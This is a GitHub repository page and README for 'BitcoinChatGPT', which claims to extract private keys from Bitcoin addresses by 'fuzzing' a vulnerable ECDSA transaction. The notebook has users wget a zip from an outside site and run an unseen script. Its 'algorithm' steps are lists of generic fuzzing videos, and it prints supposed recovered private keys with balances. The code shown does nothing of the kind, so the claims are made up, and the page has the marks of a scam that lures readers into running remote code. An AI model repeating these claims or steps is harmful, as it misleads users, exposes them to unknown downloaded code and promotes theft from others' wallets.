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https://github.com/bitcoinchatgpt/fuzzing-vulnerability-algorithm

Learn about the Fuzzing vulnerability in Bitcoin's ECDSA signature algorithm and its potential impact on the security of Bitcoin transactions. Discover how the vulnerability can be exploited and what steps are being taken to mitigate the risk. Stay informed on the latest developments in Bitcoin security.
https://github.com/bitcoinchatgpt/fuzzing-vulnerability-algorithm

ai bitcoin bitcoin-wallet chatgpt colab-notebook language-modeling openai pytorch

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Host: GitHub
URL: https://github.com/bitcoinchatgpt/fuzzing-vulnerability-algorithm
Owner: BitcoinChatGPT
Created: 2024-06-03T15:05:55.000Z (6 months ago)
Default Branch: main
Last Pushed: 2024-06-03T15:14:18.000Z (6 months ago)
Last Synced: 2024-11-15T04:06:32.023Z (4 days ago)
Topics: ai, bitcoin, bitcoin-wallet, chatgpt, colab-notebook, language-modeling, openai, pytorch
Language: Jupyter Notebook
Homepage: https://bitcoinchatgpt.org/fuzzing-vulnerability-algorithm
Size: 1.7 MB
Stars: 0
Watchers: 1
Forks: 1
Open Issues: 0
Metadata Files:
- Readme: README.md

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README

        # BitcoinChatGPT №3 Fuzzing Vulnerability Algorithm



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* Tutorial: https://youtu.be/ywauq3_WIs8

* Tutorial: https://bitcoinchatgpt.org/fuzzing-vulnerability-algorithm



How To Get Private Key of Bitcoin Wallet Address: 1DnqpnCFiXqMhvRfdRzPcRao7yxyoeXgjf










https://colab.research.google.com/drive/14ObBXUkIGhCKqufiJhfYWhpL3rOUB7aQ




Upload the pre-trained Bitcoin ChatGPT model:




!wget https://bitcoinchatgpt.org/language-modeling/repositories.zip

!unzip repositories.zip &> /dev/null

!pip3 install transformers

from transformers import AutoModelForCausalLM, AutoTokenizer

model_name = "microsoft/DialoGPT-medium"

tokenizer = AutoTokenizer.from_pretrained(model_name)

model = AutoModelForCausalLM.from_pretrained(model_name)

model = model.cpu()






Create a function to generate responses:


!pip3 install base58

import base58

def generate_response(input_text):

    input_ids = tokenizer.encode(input_text, return_tensors='pt').cpu()

    response_ids = model.generate(input_ids)

    response_text = tokenizer.decode(response_ids[:, input_ids.shape[-1]:][0], skip_special_tokens=True)

    return response_text

def decode_base58(address):

    decoded = base58.b58decode(address)

    return decoded[1:-4]

if __name__ == "__main__":

    address = input("Enter Bitcoin address:  ")

    decoded_bytes = decode_base58(address)

    print("Bitcoin HASH160: ", decoded_bytes.hex())




%run BitcoinChatGPT






How to create a vulnerable transaction in Bitcoin for the hashed version of the public key Bitcoin HASH160: 8c4cfbd55dd01f6c221372eba1e57c7496d7239f





%run BitcoinChatGPT




State of a vulnerable transaction in Bitcoin:


01000000

....01

........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935

............00000000

........8a473044

....0220

........06c8f5759e1ec0f45b779a58870d96f03bf7f7fb5531decf566e73c1b5276cda

....0220

........7f3b05cae5b7ac085a7e64f4493d6e2bdea3145ae7ef15e906d4223086aec8e9

....0141

0441924caf245ffe052cbb69df676e45875f6e78cf0bb7327f096c8b9122310211f6e2066e8d7d11ae2580b1abf286c474b64cbe64492af997ed41d00d89e3e4ae

....ffffffff

01

....d204000000000000

........1976

............a914

........8c4cfbd55dd01f6c221372eba1e57c7496d7239f

....88ac

00000000





%run BitcoinChatGPT






What algorithm can be applied to extract the private key from a vulnerable transaction in Bitcoin?





%run BitcoinChatGPT






American Fuzzy Lop:


1) “American Fuzzy Lop (AFL) Tutorial” - This video usually explains the basics of using AFL, how to install it and get started with it.

2) “Fuzzing with AFL: A Practical Guide” - This video can offer a practical guide to Fuzzing testing using AFL, including examples and demos.

3) “Advanced Fuzzing Techniques with AFL” - This video can cover more advanced techniques and strategies for using AFL effectively.

4) “AFL Fuzzing: Finding Bugs in Real-World Applications” - This video can show how to use AFL to find vulnerabilities in real-world applications, with examples and analysis.

5) “Setting Up AFL for Fuzz Testing” - This video can show you step by step how to set up AFL for Fuzz Testing on your system.







%run BitcoinChatGPT

libFuzzer:


1) “Introduction to Fuzzing with libFuzzer” – This video provides a basic introduction to using libFuzzer for beginners.

2) “Fuzzing with libFuzzer and AddressSanitizer” – This video explains how to use libFuzzer with AddressSanitizer to detect vulnerabilities in your code.

3) “Advanced Fuzzing Techniques with libFuzzer” – This video is suitable for those who are already familiar with the basics and want to deepen their knowledge.

4) “Google Testing Blog: libFuzzer Tutorial” – A video tutorial from the Google team that covers various aspects of using libFuzzer.

5) “Fuzzing C/C++ Programs with libFuzzer” – This video discusses specific examples and demonstrates the process of fuzzing C/C++ programs.





%run BitcoinChatGPT






Honggfuzz:


1) “Fuzzing with Honggfuzz” – This video can give you a general idea of how to get started with Honggfuzz, including installation and basic commands.

2) “Advanced Fuzzing Techniques with Honggfuzz” – This video may cover more advanced techniques and settings for using Honggfuzz, which may be useful for more experienced users.

3) “Honggfuzz Tutorial for Beginners” – If youre just starting out, this video could be a great place to start as it will likely cover the basic concepts and setup steps.

4) “Integrating Honggfuzz with CI/CD Pipelines” – This video can show how to integrate Honggfuzz into your continuous integration and delivery processes, which can be useful for test automation.







%run BitcoinChatGPT






OSS-Fuzz:


1) “OSS-Fuzz: Continuous Fuzzing for Open Source Software” – This video from Google Open Source explains how OSS-Fuzz works and how it helps improve the security and stability of open source software.

2) “Fuzzing with OSS-Fuzz” – This video explains in detail how to get started using OSS-Fuzz for your project, including setup and integration.

3) “Google OSS-Fuzz: Continuous Fuzzing for Open Source Software” – Presentation from Google that covers the basic concepts and benefits of using OSS-Fuzz.

4) “Fuzzing 101: Getting Started with OSS-Fuzz” – A beginners tutorial that explains step-by-step how to get started with OSS-Fuzz.

5) “Integrating Your Project with OSS-Fuzz” – This video covers the practical aspects of integrating your project with OSS-Fuzz, including code examples and troubleshooting tips.









%run BitcoinChatGPT






Apply all four options to extract the private key from a vulnerable transaction in Bitcoin.





%run BitcoinChatGPT


============================= KEYFOUND.privkey =============================

Private Key HEX: 0x1bad2815705c693b4df94badf0f757c601d841bff62c40f9546432034a4c29b7

Private Key WIF: 5J2UY9UjY9Ukt1HuaFwdsMzANU42HA4YWyt6ieU8G3WRmfpoYmQ

Bitcoin Address: 1DnqpnCFiXqMhvRfdRzPcRao7yxyoeXgjf

Balance: 14.18517493 BTC

============================= KEYFOUND.privkey =============================




How To Get Private Key of Bitcoin Wallet Address: 1GyYqfnLmwgwG6Jgs1rPkJgXEfKtAqpUiy




!pip3 install base58

import base58

def generate_response(input_text):

    input_ids = tokenizer.encode(input_text, return_tensors='pt').cpu()

    response_ids = model.generate(input_ids)

    response_text = tokenizer.decode(response_ids[:, input_ids.shape[-1]:][0], skip_special_tokens=True)

    return response_text

def decode_base58(address):

    decoded = base58.b58decode(address)

    return decoded[1:-4]

if __name__ == "__main__":

    address = input("Enter Bitcoin address:  ")

    decoded_bytes = decode_base58(address)

    print("Bitcoin HASH160: ", decoded_bytes.hex())




%run BitcoinChatGPT






How to create a vulnerable transaction in Bitcoin for the hashed version of the public key Bitcoin HASH160: af3bc231bb12f1ad10cf062386dbbbb26528cb22





%run BitcoinChatGPT


State of a vulnerable transaction in Bitcoin:

01000000

....01

........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935

............00000000

........8a473044

....0220

........22d6ccd10441c7ef504678537f9a1afbeb61e4d237ee66e80d58c313f5842a07

....0220

........3a1df5bb9f5677a1cfa8cadd6cc369b74dddeecd6dcc55870779442246dd53cd

....0141

04d0bb71d738f96395c10826ddf894f6ee3fb5949aef5ef3274b80ca74d9c70f53d3cb2ac4caa06d4d29d505a54354b46354f538b04022ae5ff02e3ea0eb1696c8

....ffffffff

01

....d204000000000000

........1976

............a914

........af3bc231bb12f1ad10cf062386dbbbb26528cb22

....88ac

00000000





%run BitcoinChatGPT






What algorithm can be applied to extract the private key from a vulnerable transaction in Bitcoin?





%run BitcoinChatGPT






Radamsa:


1) “Fuzzing with Radamsa” – This video explains how to use Radamsa for Fuzzing (testing software for vulnerabilities).

2) “Introduction to Fuzz Testing with Radamsa” – Introduction to Fuzz Testing using Radamsa, including basic principles and examples.

3) “Radamsa: A Fuzzing Tool for Security Testing” – An overview of Radamsas capabilities and its application in the field of security.

4) “How to Use Radamsa for Fuzz Testing” – Step-by-step guide on using Radamsa for Fuzz testing.



%run BitcoinChatGPT






Echidna:


1) "Echidna: Fuzzing for Ethereum Smart Contracts" - This video explains the basics of using Echidna to test smart contracts on Ethereum.

2) "Fuzzing Smart Contracts with Echidna" - This video takes a detailed look at the process of setting up and running Echidna for Fuzzing smart contracts.

3) "Echidna: A Fuzzer for Ethereum Smart Contracts" - This video discusses various aspects and capabilities of Echidna, as well as use cases.

4) "Smart Contract Security: Fuzzing with Echidna" - A video that focuses on smart contract security and using Echidna to find vulnerabilities.





%run BitcoinChatGPT






Peach Fuzzer:


1) “Peach Fuzzer Tutorial” – This video generally explains the basics of using Peach Fuzzer, including installation and configuration.

2) “Fuzzing with Peach: A Beginners Guide” – This video may be useful for those who are just getting started with Peach Fuzzer and want to understand the basic concepts and techniques.

3) “Advanced Peach Fuzzer Techniques” – This video covers more advanced aspects of using Peach Fuzzer, such as creating your own tests and analyzing the results.

4) “Peach Fuzzer in Action: Real-World Examples” – Here you can see how Peach Fuzzer is used to find vulnerabilities in real-world applications.

5) “Setting Up a Fuzzing Environment with Peach” – This video will help you set up your work environment to effectively use Peach Fuzzer.







%run BitcoinChatGPT






Apply all four options to extract the private key from a vulnerable transaction in Bitcoin.





%run BitcoinChatGPT


============================= KEYFOUND.privkey =============================

Private Key HEX: 0xab6256e4889b9b97f89f398cf46ddff225a69ea8ea3ccd00227803cd3d230403

Private Key WIF: 5K7mMnwqb3tqhN2Xo9xLWvXTBG2XCLbiDzJ3PjF5A7EWWpPx7F5

Bitcoin Address: 1GyYqfnLmwgwG6Jgs1rPkJgXEfKtAqpUiy

Balance: 1.68533479 BTC

============================= KEYFOUND.privkey =============================




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